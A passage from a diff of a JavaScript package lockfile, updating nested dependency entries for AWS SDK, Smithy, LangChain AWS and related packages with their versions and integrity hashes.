"@aws-sdk/s3-request-presigner/@aws-sdk/signature-v4-multi-region/@smithy/signature-v4/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.0.1", "", { "dependencies": { "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-3aS+fP28urrMW2KTjb6z9iFow6jO8n3MFfineGbndvzGZit3taZhKWtTorf+Gp5RpFDDafeHlhfsGlDCXvUnJA=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.0.3", "", { "dependencies": { "@smithy/abort-controller": "^4.0.1", "@smithy/protocol-http": "^5.0.1", "@smithy/querystring-builder": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-dYCLeINNbYdvmMLtW0VdhW1biXt+PPCGazzT5ZjKw46mOtdgToQEwjqZSS9/EN8+tNs/RO0cEWG044+YZs97aA=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-base64": ["@smithy/util-base64@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg=="], - "@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="], - "@aws-sdk/middleware-websocket/@smithy/fetch-http-handler/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], - "@aws-sdk/nested-clients/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], + "@aws-sdk/s3-request-presigner/@smithy/middleware-endpoint/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="], - "@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/core/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.0.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug=="], - "@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], - "@aws-sdk/token-providers/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/abort-controller": ["@smithy/abort-controller@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-fiUIYgIgRjMWznk6iLJz35K2YxSLHzLBA/RC6lBrKfQ8fHbPfvk7Pk9UvpKoHgJjI18MnbPuEju53zcVy6KF1g=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@aws-sdk/s3-request-presigner/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.0.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-saYhF8ZZNoJDTvJBEWgeBccCg+yvp1CX+ed12yORU3NilJScfc6gfch2oVb4QgxZrGUx3/ZJlb+c/dJbyupxlw=="], - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], - - "@aws-sdk/token-providers/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist/baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="], "@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs3/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], + "@google/genai/google-auth-library/gaxios/rimraf/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="], + "@istanbuljs/load-nyc-config/find-up/locate-path/p-locate/p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="], "@jest/expect/expect/jest-matcher-utils/pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="], - "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser": ["fast-xml-parser@5.2.5", "", { "dependencies": { "strnum": "^2.1.0" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node/@smithy/eventstream-codec/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@aws-sdk/util-format-url/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="], @@ -8491,10 +8165,16 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.921.0", "", { "dependencies": { "@smithy/types": "^4.8.1", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q=="], @@ -8503,8 +8183,12 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], @@ -8525,6 +8209,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], 